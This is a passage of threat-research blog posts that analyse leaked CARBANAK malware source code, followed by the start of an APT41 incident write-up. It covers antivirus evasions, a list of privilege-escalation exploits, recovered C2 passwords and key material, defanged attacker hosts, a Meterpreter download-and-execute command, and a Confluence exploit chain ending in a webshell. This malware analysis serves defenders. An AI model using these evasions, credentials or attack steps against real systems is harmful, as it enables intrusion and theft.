PJW hash is shown in Figure 11 for reference. def pjw_hash(s): ctr = 0 for i in range(len(s)): ctr = 0xffffffff & ((ctr << 4) + ord(s[i])) if ctr & 0xf0000000: ctr = (((ctr & 0xf0000000) >> 24) ^ ctr) & 0x0fffffff return ctr Figure 11: PJW hash This is used several hundred times in CARBANAK samples and impedes understanding of the malware s functionality. Fortunately, reversers can use the flare-ida scripts to annotate the obfuscated imports, as shown in Figure 12. 11/14 Figure 12: Obfuscated import resolution annotated with FLARE's shellcode hash search The CARBANAK authors achieved this obfuscated import resolution throughout their backdoor with relative ease using C preprocessor macros and a pre-compilation source code scanning step to calculate function hashes. Figure 13 shows the definition of the relevant API macro and associated machinery. 12/14 Figure 13: API macro for import resolution The API macro allows the author to type API(SHLWAPI, PathFindFileNameA)( ) and have it replaced with GetApiAddrFunc(SHLWAPI, hashPathFindFileNameA)( ). SHLWAPI is a symbolic macro defined to be the constant 3, and hashPathFindFileNameA is the string hash value 0xE3685D1 as observed in the disassembly. But how was the hash defined? The CARBANAK source code has a utility (unimaginatively named tool) that scans source code for invocations of the API macro to build a header file defining string hashes for all the Windows API function names encountered in the entire codebase. Figure 14 shows the source code for this utility along with its output file, api_funcs_hash.h. Figure 14: Source code and output from string hash utility When I reverse engineer obfuscated malware, I can t help but try to theorize about how authors implement their obfuscations. The CARBANAK source code gives another data point into how malware authors wield the powerful C preprocessor along with custom code scanning and code generation tools to obfuscate without imposing an undue burden on developers. This might provide future perspective in terms of what to expect from malware authors in the future and may help identify units of potential code reuse in future projects as well as rate their significance. It would be trivial to apply this to new projects, but with the source code being on VirusTotal, this level of code sharing may not represent shared authorship. Also, the source code is accessibly instructive in why malware would push an integer as well as a hash to resolve functions: because the integer is an index into an array of module handles that are opened in advance and associated with these pre-defined integers. 13/14 Conclusion The CARBANAK source code is illustrative of how these malware authors addressed some of the practical concerns of obfuscation. Both the tasking code and the Windows API resolution system represent significant investments in throwing malware analysts off the scent of this backdoor. Check out Part Two of this series for a round-up of antivirus evasions, exploits, secrets, key material, authorship artifacts, and network-based indicators. Part Three and Part Four are available now as well! 14/14 CARBANAK Week Part Two: Continuing the CARBANAK Source Code Analysis fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html Threat Research April 23, 2019 | by Michael Bailey, James T. Bennett Update (April 30): Following the release of our four-part CARBANAK Week blog series, many readers have found places to make the data shared in these posts actionable. We have updated this post to include some of this information. In the previous installment, we wrote about how string hashing was used in CARBANAK to manage Windows API resolution throughout the entire codebase. But the authors used this same string hashing algorithm for another task as well. In this installment, we ll pick up where we left off and write about CARBANAK s antivirus (AV) detection, AV evasion, authorship artifacts, exploits, secrets, and network-based indicators. Antivirus Evasions Source code unquestionably accelerates analysis of string hashes. For example, the function AVDetect in AV.cpp iterates processes to detect AV by process name hash as shown in Figure 1. 1/14 Figure 1: Antivirus detection by process name hash What does CARBANAK do with this information? It evades AV according to what is installed. Figure 2 shows the code for an AVG evasion that the authors disabled by commenting it out. Based on this, it appears as if the AVG evasion was retired, but FLARE team member Ryan Warns confirmed in November 2017 that it still worked with one minor tweak. FLARE disclosed this to AVG immediately upon confirming it. Avast indicates that after our disclosure, they updated the affected DLL to ignore DLL_PROCESS_DETACH and leave its hooks in place. 2/14 Figure 2: Commented out source code to unload AVG user-space hooks In November of 2017, FLARE also disclosed an evasion for Trend Micro s detection of process injection that remained active in the CARBANAK source code. The evasion mirrors a technique used in Carberp that replaces remote heap allocation and a call to CreateRemoteThread with memory mapping and queueing of an asynchronous procedure call via QueueUserAPC. Following our disclosure, Trend Micro indicated that they had updated their behavior monitoring rules and released OfficeScan XG SP1 in December 2017 with a new Aggressive Event detection feature that covers this behavior. Author Characterization Having source code could pose unique opportunities to learn about the individuals behind the keyboard. To that end, I searched for artifacts in the source code dump that might point to individuals. I found the most information in Visual Studio solution files. Most of these referenced drive O: as the source root, but I did find the following host paths: C:\Users\hakurei reimu\AppData\Local\Temp C:\Users\Igor\AppData\Local\Temp E:\Projects\progs\Petrosjan\WndRec\... E:\Projects\progs\sbu\WndRec\... Unfortunately, these data points don t yield many answers. If they are observed in later artifacts, connections might be inferred, but as of this writing, not much else is known about the authors. Source Code Survey The CARBANAK source code contained numerous exploits, previous C2 hosts, passwords, and key material. I decided to comprehensively search these out and determine if they led to any new conclusions or corroborated any previous observations. Exploits 3/14 I wanted to know if the CARBANAK authors wielded any exploits that were not publicly disclosed. To the contrary, I found all the exploits to be well-documented. Table 1 breaks out the escalation code I reviewed from the CARBANAK source code dump. Name Notes PathRec 20133660 Exploit proof of concept (poc) from May 2013 Sdrop 20133660 Exploit poc from June 2013 NDProxy 20135065 NDProxy.sys exploit originally authored by secniu UACBypass UAC bypass by DLL hijacking found in Carberp UAC bypass by disabling elevation prompts and dialogs via the IFileOperation COM interface CVE-20144113 20144113 BlackEnergy2 EUDC Win32k.sys exploit derived from code that can be found online AppCompat shim-based UAC bypass 20104398 UAC bypass by EUDC exploitation Table 1: Exploits for elevation found in CARBANAK source code The CARBANAK source code also contains code copied wholesale from Mimikatz including the sekurlsa module for dumping passwords from lsass.exe and Terminal Services patching code to allow multiple remote desktop protocol connections. Secrets My analysis included an audit of passwords and key material found in the source code and accompanying binaries. Although many of these were used for debug versions, I curated them for reference in case a need might arise to guess future passwords based on passwords used in the source code. Table 2 shows recovered passwords used for RC24/14 encrypted communications and other purposes along with the corresponding name in the source code and their status as they were encountered (active in source code, commented out, or compiled into a binary). Credential Identifier Per Source Code Password Status ADMIN_PASSWORD 1He9Psa7LzB1wiRn Active ADMIN_PASSWORD 1234567812345678 Commented out ADMIN_PASSWORD cbvhX3tJ0k8HwnMy Active ADMIN_PASSWORD 1234567812345678 Commented out 1234567812345678 Compiled Table 2: Passwords found in CARBANAK source code and binaries I found an encrypted server certificate in a debug directory. This seemed like it could provide a new network-based indicator to definitively tie operations together or catch new activity. It was trivial to brute force this container by adapting a publicly available code sample of X509 handling in C# to cycle through passwords in a popular password list. The password was found in less than 1 second because it was the single-character password The certificate turns out to be for testing, hence the weak password. The certificate is shown in Figure 3, with details in Table 3. 5/14 Figure 3: Test Company certificate Parameter Value Subject CN=Test Company Issuer CN=Test Company Serial Number 834C6C3985506D8740FB56D26E385E8A Not Before 12/31/2004 5:00:00 PM Not After 12/31/2017 5:00:00 PM Thumbprint 0BCBD1C184809164A9E83F308AD6FF4DBAFDA22C Signature Algorithm sha1RSA(1.3.14.3.2.29) 6/14 Public Key Algorithm: RSA Length: 2048 Key Blob: 30 82 01 0a 02 82 01 01 00 e4 66 7f d2 e1 01 53 f9 6d 26 a6 62 45 8b a8 71 ea 81 9a e6 12 d4 1c 6f 78 67 6d 7e 95 bb 3a c5 c0 2c da ce 48 ca db 29 ab 10 c3 83 4e 51 01 76 29 56 53 65 32 64 f2 c7 84 96 0f b0 31 0b 09 a3 b9 12 63 09 be a8 4b 3b 21 f6 2e bf 0c c1 f3 e4 ed e2 19 6e ca 78 68 69 be 56 3c 1c 0e a7 78 c7 b8 34 75 29 a1 8d cc 5d e9 0d b3 95 39 02 13 8e 64 ed 2b 90 2c 3f d5 e3 e2 7e f2 d2 d1 96 15 6e c9 97 eb 97 b9 0e b3 be bc c3 1b 1e e1 0e 1c 35 73 f4 0f d9 c3 69 89 87 43 61 c9 9e 50 77 a2 83 e4 85 ce 5a d6 af 72 a9 7b 27 c5 f3 62 8d e7 79 92 c3 9b f7 96 ed 5c 37 48 0a 97 ee f7 76 69 a2 b9 25 38 06 25 7d 8a e4 94 b2 bb 28 4a 4b 5d c5 32 0d be 8e 7c 51 82 a7 9e d9 2c 8e 6b d8 c7 19 4c 2e 93 8d 2d 50 b4 e0 a4 ed c1 65 a4 a1 ba bf c7 bf 2c ec 28 83 f4 86 f2 88 5c c4 24 8b ce 1d 02 03 01 00 01 Parameters: 05 00 7/14 Private Key Key Store: User Provider Name: Microsoft Strong Cryptographic Provider Provider type: 1 Key Spec: Exchange Key Container Name: c9d7c4a9-2745-4e7f-b816-8c20831d6dae Unique Key Container Name: 5158a0636a32ccdadf155686da582ccc_2bb69b91e898-4d33-bbcf-fbae2b6309f1 Hardware Device: False Removable: False Protected: False Table 3: Test Company certificate details Here is a pivot shared by @mrdavi51 demonstrating how this self-signed certificate is still hosted on several IPs. Great findings, loving the series! Did you know the public cert in part two you found is still hosted on two servers? https://t.co/zZYRgPvHVr mrdavi5 (@mrdavi51) April 24, 2019 FireEye has observed the certificate most recently being served on the following IPs (Table Hostname Last Seen 104.193.252.151:443 vds2.system-host[.]net 2019-04-26T14:49:12 185.180.196.35:443 customer.clientshostname[.]com 2019-04-24T07:44:30 213.227.155.8:443 2019-04-24T04:33:52 94.156.133.69:443 2018-11-15T10:27:07 8/14 185.174.172.241:443 vds9992.hyperhost[.]name 109.230.199.227:443 2019-04-27T13:24:36 2019-04-27T13:24:36 Table 4: Recent Test Company certificate use While these IPs have not been observed in any CARBANAK activity, this may be an indication of a common developer or a shared toolkit used for testing various malware. Several of these IPs have been observed hosting Cobalt Strike BEACON payloads and METERPRETER listeners. Virtual Private Server (VPS) IPs may change hands frequently and additional malicious activity hosted on these IPs, even in close time proximity, may not be associated with the same users. I also parsed an unprotected private key from the source code dump. Figure 4 and Table 5 show the private key parameters at a glance and in detail, respectively. Figure 4: Parsed 512-bit private key 9/14 Field Value bType bVersion aiKeyAlg 0xA400 (CALG_RSA_KEYX) RSA public key exchange algorithm Magic RSA2 Bitlen PubExp 65537 Modulus 0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED 20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB 8B 01 8F 7D 1D A2 34 AE CA B6 22 EE 41 4A B9 2C E0 05 FA D0 35 B2 BF 9C E6 7C 6E 65 AC AE 17 EA 81 69 AB 3D D7 01 55 7A F8 EE 3C A2 78 A5 1E B1 9A 3B 83 EC 2F F1 F7 13 D8 1A B3 DE DF 24 A1 DE B5 C7 AE 0F 46 E9 02 FB 4E A2 A5 36 7F 2E ED A4 9E 2B 0E 57 F3 DB 11 66 13 5E 01 94 13 34 10 CB 81 AC 0D 20 14 E9 5C BF 4B 08 54 D3 74 C4 57 EA C3 9D 66 C9 2E 0A 19 EA C1 A3 78 30 44 52 B2 9F 10/14 C2 D2 55 32 5E 7D 66 4C 8B 7F 02 82 0B 35 45 18 24 76 09 2B 56 71 C6 63 C4 C5 87 AD ED 51 DA 2 01 6A F3 FA 6A F7 34 83 75 C6 94 EB 77 F1 C7 BB 7C 68 28 70 4D FB 6A 67 03 AE E2 D8 8B E9 E8 E0 2A 0F FB 39 13 BD 1B 46 6A D9 98 EA A6 3E 63 A8 2F A3 BD B3 E5 D6 85 98 4D 1C 06 2A AD 76 07 49 Table 5: Private key parameters I found a value named PUBLIC_KEY defined in a configuration header, with comments indicating it was for debugging purposes. The parsed values are shown in Table 6. Field Value bType bVersion aiKeyAlg 0xA400 (CALG_RSA_KEYX) RSA public key exchange algorithm Magic RSA1 Bitlen PubExp 65537 Modulus 0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED 20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB 11/14 Table 6: Key parameters for PUBLIC_KEY defined in configuration header Network Based Indicators The source code and binaries contained multiple Network-Based Indicators (NBIs) having significant overlap with CARBANAK backdoor activity and FIN7 operations previously observed and documented by FireEye. Table 7 shows these indicators along with the associated FireEye public documentation. This includes the status of each NBI as it was encountered (active in source code, commented out, or compiled into a binary). Domain names are de-fanged to prevent accidental resolution or interaction by browsers, chat clients, etc. Status Threat Group Association comixed[.]org Commented Earlier CARBANAK activity 194.146.180[.]40 Commented Earlier CARBANAK activity aaaabbbbccccc[.]org Active stats10-google[.]com Commented 192.168.0[.]100:700 Active 80.84.49[.]50:443 Commented 52.11.125[.]44:443 Commented 85.25.84[.]223 Commented qwqreererwere[.]com Active FIN7 12/14 akamai-technologies[.]org Commented Earlier CARBANAK activity 192.168.0[.]100:700 Active 37.1.212[.]100:700 Commented 188.138.98[.]105:710 Commented hhklhlkhkjhjkjk[.]org Compiled 192.168.0[.]100:700 Compiled aaa.stage.4463714.news.meteonovosti[.]info Compiled DNS infrastructure overlap with later FIN7 associated POWERSOURCE activity 193.203.48[.]23:800 Active Earlier CARBANAK activity Earlier CARBANAK activity Table 7: NBIs and prevously observed activity Four of these TCP endpoints (80.84.49[.]50:443, 52.11.125[.]44:443, 85.25.84[.]223, and 37.1.212[.]100:700) were new to me, although some have been documented elsewhere. Conclusion Our analysis of this source code dump confirmed it was CARBANAK and turned up a few new and interesting data points. We were able to notify vendors about disclosures that specifically targeted their security suites. The previously documented NBIs, Windows API function resolution, backdoor command hash values, usage of Windows cabinet file APIs, and other artifacts associated with CARBANAK all match, and as they say, if the shoe fits, wear it. Interestingly though, the project itself isn t called CARBANAK or even Anunak as the information security community has come to call it based on the string artifacts found within the malware. The authors mainly refer to the malware as in the Visual Studio project, filenames, source code comments, output binaries, user interfaces, and manuals. The breadth and depth of this analysis was a departure from the usual requests we receive 13/14 on the FLARE team. The journey included learning some Russian, searching through a hundred thousand of lines of code for new information, and analyzing a few dozen binaries. In the end, I m thankful I had the opportunity to take this request. In the next post, Tom Bennett takes the reins to provide a retrospective on his and Barry Vengerik s previous analysis in light of the source code. Part Four of CARBANAK Week is available as well. Previous Post Next Post 14/14 CARBANAK Week Part Three: Behind the CARBANAK Backdoor fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html We covered a lot of ground in Part One and Part Two of our CARBANAK Week blog series. Now let's take a look back at some of our previous analysis and see how it holds up. In June 2017, we published a blog post sharing novel information about the CARBANAK backdoor, including technical details, intel analysis, and some interesting deductions about its operations we formed from the results of automating analysis of hundreds of CARBANAK samples. Some of these deductions were claims about the toolset and build practices for CARBANAK. Now that we have a snapshot of the source code and toolset, we also have a unique opportunity to revisit these deductions and shine a new light on them. Was There a Build Tool? s first take a look at our deduction about a build tool for CARBANAK: A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary s strings with a fresh key for each build. We came to this deduction from the following evidence: Most of CARBANAK s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 1/15 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool. Figure 1 shows three keys used to decode the strings in CARBANAK, each pulled from a different CARBANAK sample. Figure 1: Decryption keys for strings in CARBANAK are unique for each build It turns out we were spot-on with this deduction. A build tool was discovered in the CARBANAK source dump, pictured with English translations in Figure 2. 2/15 Figure 2: CARBANAK build tool With this build tool, you specify a set of configuration options along with a template CARBANAK binary, and it bakes the configuration data into the binary to produce the final build for distribution. The Prefix text field allows the operator to specify a campaign code. The Admin host text fields are for specifying C2 addresses, and the Admin password text field is the secret used to derive the RC2 key for encrypting communication over CARBANAK s pseudo-HTTP protocol. This covers part of our deduction: we now know for a fact that a build tool exists and is used to configure the campaign code and RC2 key for the build, amongst other items. But what about the encoded strings? Since this would be something that happens seamlessly behind the scenes, it makes sense that no evidence of it would be found in the GUI of the build tool. To learn more, we had to go to the source code for both the backdoor and the build tool. Figure 3 shows a preprocessor identifier named ON_CODE_STRING defined in the CARBANAK backdoor source code that when enabled, defines macros that wrap all strings the programmer wishes to encode in the binary. These functions sandwich the strings to be encoded with the strings and . Figure 4 shows a small snippet of code from the header file of the build tool source code defining BEG_ENCODE_STRING as and END_ENCODE_STRING as . The build tool searches the template binary for these and markers, extracts the strings between them, encodes them with a randomly generated key, and replaces the strings in the binary with the encoded strings. We came 3/15 across an executable named bot.dll that happened to be one of the template binaries to be used by the build tool. Running strings on this binary revealed that most meaningful strings that were specific to the workings of the CARBANAK backdoor were, in fact, sandwiched between and , as shown in Figure 5. Figure 3: ON_CODE_STRING parameter enables easy string wrapper macros to prepare strings for encoding by build tool 4/15 Figure 4: builder.h macros for encoded string markers Figure 5: Encoded string markers in template CARBANAK binary 5/15 Operators Access To Source Code s look at two more related deductions from our blog post: Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s). Some of the operators may be compiling their own builds of the backdoor independently. The first deduction was based on the following evidence: Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart. To investigate further, we performed a diff of two CARBANAK samples with very close compile times to see what, if anything, was changed in the code. Figure 6 shows one such difference. Figure 6: Minor differences between two closely compiled CARBANAK samples 6/15 The POSLogMonitorThread function is only executed in Sample A, while the blizkoThread function is only executed in Sample B (Blizko is a Russian funds transfer service, similar to PayPal). The POSLogMonitorThread function monitors for changes made to log files for specific point of sale software and sends parsed data to the C2 server. The blizkoThread function determines whether the user of the computer is a Blizko customer by searching for specific values in the registry. With knowledge of these slight differences, we searched the source code and discovered once again that preprocessor parameters were put to use. Figure 7 shows how this function will change depending on which of three compile-time parameters are enabled. Figure 7: Preprocessor parameters determine which functionality will be included in a template binary This is not definitive proof that operators had access to the source code, but it certainly makes it much more plausible. The operators would not need to have any programming knowledge in order to fine tune their builds to meet their needs for specific targets, just simple guidance on how to add and remove preprocessor parameters in Visual Studio. Evidence for the second deduction was found by looking at the binary C2 protocol implementation and how it has evolved over time. From our previous blog post: This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult. 7/15 Five versions of the binary C2 protocol were discovered amongst our sample set, as shown in Figure 8. This figure shows the first noted compile time that each protocol version was found amongst our sample set. Each new version improved the security and complexity of the protocol. Figure 8: Binary C2 protocol evolution shown through binary compilation times If the CARBANAK project was centrally located and only the template binaries were delivered to the operators, it would be expected that sample compile times should fall in line with the evolution of the binary protocol. Except for one sample that implements what we call version 3 of the protocol, this is how our timeline looks. A probable explanation for the date not lining up for version 3 is that our sample set was not wide enough to include the first sample of this version. This is not the only case we found of an outdated protocol being implemented in a sample; Figure 9 shows another example of this. 8/15 Figure 9: CARBANAK sample using outdated version of binary protocol In this example, a CARBANAK sample found in the wild was using protocol version 4 when a newer version had already been available for at least two months. This would not be likely to occur if the source code were kept in a single, central location. The rapid-fire fine tuning of template binaries using preprocessor parameters, combined with several samples of CARBANAK in the wild implementing outdated versions of the protocol indicate that the CARBANAK project is distributed to operators and not kept centrally. Names of Previously Unidentified Commands The source code revealed the names of commands whose names were previously unidentified. In fact, it also revealed commands that were altogether absent from the samples we previously blogged about because the functionality was disabled. Table 1 shows the commands whose names were newly discovered in the CARBANAK source code, along with a summary of our analysis from the blog post. Hash Prior FireEye Analysis Name 0x749D968 (absent) msgbox 9/15 0x6FD593 (absent) ifobs 0xB22A5A7 Add/update klgconfig updklgcfg 0x4ACAFC3 Upload files to the C2 server findfiles 0xB0603B4 Download and execute shellcode tinymet Table 1: Command hashes previously not identified by name, along with description from prior FireEye analysis The msgbox command was commented out altogether in the CARBANAK source code, and is strictly for debugging, so it never appeared in public analyses. Likewise, the ifobs command did not appear in the samples we analyzed and publicly documented, but likely for a different reason. The source code in Figure 10 shows the table of commands that CARBANAK understands, and the ifobs command (0x6FD593) is surrounded by an #ifdef, preventing the ifobs code from being compiled into the backdoor unless the ON_IFOBS preprocessor parameter is enabled. 10/15 Figure 10: Table of commands from CARBANAK tasking code One of the more interesting commands, however, is tinymet, because it illustrates how source code can be both helpful and misleading. The tinymet Command and Associated Payload 11/15 At the time of our initial CARBANAK analysis, we indicated that command 0xB0603B4 (whose name was unknown at the time) could execute shellcode. The source code reveals that the command (whose actual name is tinymet) was intended to execute a very specific piece of shellcode. Figure 12 shows an abbreviated listing of the code for handling the tinymet command, with line numbers in yellow and selected lines hidden (in gray) to show the code in a more compact format. Figure 11: Abbreviated tinymet code listing The comment starting on line 1672 indicates: 12/15 tinymet command Command format: tinymet {ip:port | plugin_name} [plugin_name] Retrieve meterpreter from specified address and launch in memory On line 1710, the tinymet command handler uses the single-byte XOR key 0x50 to decode the shellcode. Of note, on line 1734 the command handler allocates five extra bytes and line 1739 hard-codes a five-byte mov instruction into that space. It populates the 32-bit immediate operand of the mov instruction with the socket handle number for the server connection that it retrieved the shellcode from. The implied destination operand for this mov instruction is the edi register. Our analysis of the tinymet command ended here, until the binary file named met.plug was discovered. The hex dump in Figure 12 shows the end of this file. Figure 12: Hex dump of met.plug 13/15 The end of the file is misaligned by five missing bytes, corresponding to the dynamically assembled mov edi preamble in the tasking source code. However, the single-byte XOR key 0x50 that was found in the source code did not succeed in decoding this file. After some confusion and further analysis, it was realized that the first 27 bytes of this file are a shellcode decoder that looked very similar to call4_dword_xor. Figure 13 shows the shellcode decoder and the beginning of the encoded metsrv.dll. The XOR key the shellcode uses is 0xEF47A2D0 which fits with how the five-byte mov edi instruction, decoder, and adjacent metsrv.dll will be laid out in memory. Figure 13: Shellcode decoder Decoding yielded a copy of metsrv.dll starting at offset 0x1b. When shellcode execution exits the decoder loop, it executes Metasploit s executable DOS header. Ironically, possessing source code biased our binary analysis in the wrong direction, suggesting a single-byte XOR key when really there was a 27-byte decoder preamble using a four-byte XOR key. Furthermore, the name of the command being tinymet suggested that the TinyMet Meterpreter stager was involved. This may have been the case at one point, but the source code comments and binary files suggest that the developers and operators have moved on to simply downloading Meterpreter directly without changing the name of the command. Conclusion Having access to the source code and toolset for CARBANAK provided us with a unique opportunity to revisit our previous analysis. We were able to fill in some missing analysis and context, validate our deductions in some cases, and provide further evidence in other 14/15 cases, strengthening our confidence in them but not completely proving them true. This exercise proves that even without access to the source code, with a large enough sample set and enough analysis, accurate deductions can be reached that go beyond the source code. It also illustrates, such as in the case of the tinymet command, that sometimes, without the proper context, you simply cannot see the full and clear purpose of a given piece of code. But some source code is also inconsistent with the accompanying binaries. If Bruce Lee had been a malware analyst, he might have said that source code is like a finger pointing away to the moon; don t concentrate on the finger, or you will miss all that binary ground truth. Source code can provide immensely rich context, but analysts must be cautious not to misapply that context to binary or forensic artifacts. In the next and final blog post, we share details on an interesting tool that is part of the CARBANAK kit: a video player designed to play back desktop recordings captured by the backdoor. 15/15 CARBANAK Week Part Four: The CARBANAK Desktop Video Player fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html Part One, Part Two and Part Three of CARBANAK Week are behind us. In this final blog post, we dive into one of the more interesting tools that is part of the CARBANAK toolset. The CARBANAK authors wrote their own video player and we happened to come across an interesting video capture from CARBANAK of a network operator preparing for an offensive engagement. Can we replay it? About the Video Player The CARBANAK backdoor is capable of recording video of the victim s desktop. Attackers reportedly viewed recorded desktop videos to gain an understanding of the operational workflow of employees working at targeted banks, allowing them to successfully insert fraudulent transactions that remained undetected by the banks verification processes. As mentioned in a previous blog post announcing the arrest of several FIN7 members, the video data file format and the player used to view the videos appeared to be custom written. The video player, shown in Figure 1, and the C2 server for the bots were designed to work together as a pair. Figure 1: CARBANAK desktop video player The C2 server wraps video stream data received from a CARBANAK bot in a custom video file format that the video player understands, and writes these video files to a location on disk based on a convention assumed by the video player. The StreamVideo constructor shown in Figure 2 creates a new video file that will be populated with the video capture data received from a CARBANAK bot, prepending a header that includes the signature TAG, timestamp data, and the IP address of the infected host. This code is part of the C2 server project. Figure 2: carbanak\server\Server\Stream.cs Code snippet from the C2 server that serializes video data to file Figure 3 shows the LoadVideo function that is part of the video player project. It validates the file type by looking for the TAG signature, then reads the timestamp values and IP address just as they were written by the C2 server code in Figure 2. Figure 3: carbanak\server\Player\Video.cs Player code that loads a video file created by the C2 server Video files have the extension .frm as shown in Figure 4 and Figure 5. The C2 server CreateStreamVideo function shown in Figure 4 formats a file path following a convention defined in the MakeStreamFileName function, and then calls the StreamVideo constructor from Figure 2. Figure 4: carbanak\server\Server\RecordFromBot.cs Function in the C2 server that formats a video file name and adds the extension "frm" The video player code snippet shown in Figure 5 follows video file path convention, searching all video file directories for files with the extension .frm that have begin and end timestamps that fall within the range of the DateTime variable dt. Figure 5: carbanak\server\Player\Video.cs Snippet from Player code that searches for video files with "frm" extension An Interesting Video We came across several video files, but only some were compatible with this video player. After some analysis, it was discovered that there are at least two different versions of the video file format, one with compressed video data and the other is raw. After some slight adjustments to the video processing code, both formats are now supported and we can play all videos. Figure 6 shows an image from one of these videos in which the person being watched appears to be testing post-exploitation commands and ensuring they remain undetected by certain security monitoring tools. Figure 6: Screenshot of video playback captured by CARBANAK video capability The list of commands in the figure centers around persistence, screenshot creation, and launching various payloads. Red teamers often maintain such generic notes and command snippets for accomplishing various tasks like persisting, escalating, laterally moving, etc. An extreme example of this is Ben Clark s book RTFM. In advance of an operation, it is customary to tailor the file names, registry value names, directories, and other parameters to afford better cover and prevent blue teams from drawing inferences based on methodology. Furthermore, Windows behavior sometimes yields surprises, such as value length limitations, unexpected interactions between payloads and specific persistence mechanisms, and so on. It is in the interest of the attacker to perform a dry run and ensure that unanticipated issues do not jeopardize the access that was gained. The person being monitored via CARBANAK in this video appears to be a network operator preparing for attack. This could either be because the operator was testing CARBANAK, or because they were being monitored. The CARBANAK builder and other interfaces are never shown, and the operator is seen preparing several publicly available tools and tactics. While purely speculation, it is possible that this was an employee of the front company Combi Security which we now know was operated by FIN7 to recruit potentially unwitting operators. Furthermore, it could be the case that FIN7 used CARBANAK s tinymet command to spawn Meterpreter instances and give unwitting operators access to targets using publicly available tools under the false premise of a penetration test. Conclusion This final installment concludes our four-part series, lovingly dubbed CARBANAK Week. To recap, we have shared at length many details concerning our experience as reverse engineers who, after spending dozens of hours reverse engineering a large, complex family of malware, happened upon the source code and toolset for the malware. This is something that rarely ever happens! We hope this week s lengthy addendum to FireEye s continued CARBANAK research has been interesting and helpful to the broader security community in examining the functionalities of the framework and some of the design considerations that went into its development. So far we have received lots of positive feedback about our discovery of the source code and our recent expos of the CARBANAK ecosystem. It is worth highlighting that much of what we discussed in CARBANAK Week was originally covered in our FireEye s Cyber Defense Summit 2018 presentation titled Hello, Carbanak! , which is freely available to watch online (a must-see for malware and lederhosen enthusiasts alike). You can expect similar topics and an electrifying array of other malware analysis, incident response, forensic investigation and threat intelligence discussions at FireEye s upcoming Cyber Defense Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C. GAME OVER: Detecting and Stopping an APT41 Operation fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html In August 2019, FireEye released the Double Dragon report on our newest graduated threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services. APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity. In multiple situations, we also identified APT41 utilizing recentlydisclosed vulnerabilities, often weaponzing and exploiting within a matter of days. Our knowledge of this group s targets and activities are rooted in our Incident Response and Managed Defense services, where we encounter actors like APT41 on a regular basis. At each encounter, FireEye works to reverse malware, collect intelligence and hone our detection capabilities. This ultimately feeds back into our Managed Defense and Incident Response teams detecting and stopping threat actors earlier in their campaigns. In this blog post, we re going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41. Our goal is to display not only how dynamic this group can be, but also how the various teams within FireEye worked to thwart attacks within hours of detection protecting our clients networks and limiting the threat actor s ability to gain a foothold and/or prevent data exposure. GET TO DA CHOPPA! In April 2019, FireEye s Managed Defense team identified suspicious activity on a publiclyaccessible web server at a U.S.-based research university. This activity, a snippet of which is provided in Figure 1, indicated that the attackers were exploiting CVE-2019-3396, a vulnerability in Atlassian Confluence Server that allowed for path traversal and remote code execution. Figure 1: Snippet of PCAP showing attacker attempting CVE-2019-3396 vulnerability This vulnerability relies on the following actions by the attacker: Customizing the _template field to utilize a template that allowed for command execution. Inserting a cmd field that provided the command to be executed. Through custom JSON POST requests, the attackers were able to run commands and force the vulnerable system to download an additional file. Figure 2 provides a list of the JSON data sent by the attacker. Figure 2: Snippet of HTTP POST requests exploiting CVE-2019-3396 As shown in Figure 2, the attacker utilized a template located at hxxps[:]//github[.]com/Yt1g3r/CVE-2019-3396_EXP/blob/master/cmd.vm. This publiclyavailable template provided a vehicle for the attacker to issue arbitrary commands against the vulnerable system. Figure 3 provides the code of the file cmd.vm. Figure 3: Code of cmd.vm, used by the attackers to execute code on a vulnerable Confluence system The HTTP POST requests in Figure 2, which originated from the IP address 67.229.97[.]229, performed system reconnaissance and utilized Windows certutil.exe to download a file located at hxxp[:]//67.229.97[.]229/pass_sqzr.jsp and save it as test.jsp (MD5: 84d6e4ba1f4268e50810dacc7bbc3935). The file test.jsp was ultimately identified to be a variant of a China Chopper webshell. A Passive Aggressive Operation Shortly after placing test.jsp on the vulnerable system, the attackers downloaded two additional files onto the system: 64.dat (MD5: 51e06382a88eb09639e1bc3565b444a6) Ins64.exe (MD5: e42555b218248d1a2ba92c1532ef6786) Both files were hosted at the same IP address utilized by the attacker, 67[.]229[.]97[.]229. The file Ins64.exe was used to deploy the HIGHNOON backdoor on the system. HIGHNOON is a backdoor that consists of multiple components, including a loader, dynamic-link library (DLL), and a rootkit. When loaded, the DLL may deploy one of two embedded drivers to conceal network traffic and communicate with its command and control server to download and launch memory-resident DLL plugins. This particular variant of HIGHNOON is tracked as HIGHNOON.PASSIVE by FireEye. (An exploration of passive backdoors and more analysis of the HIGHNOON malware family can be found in our full APT41 report). Within the next 35 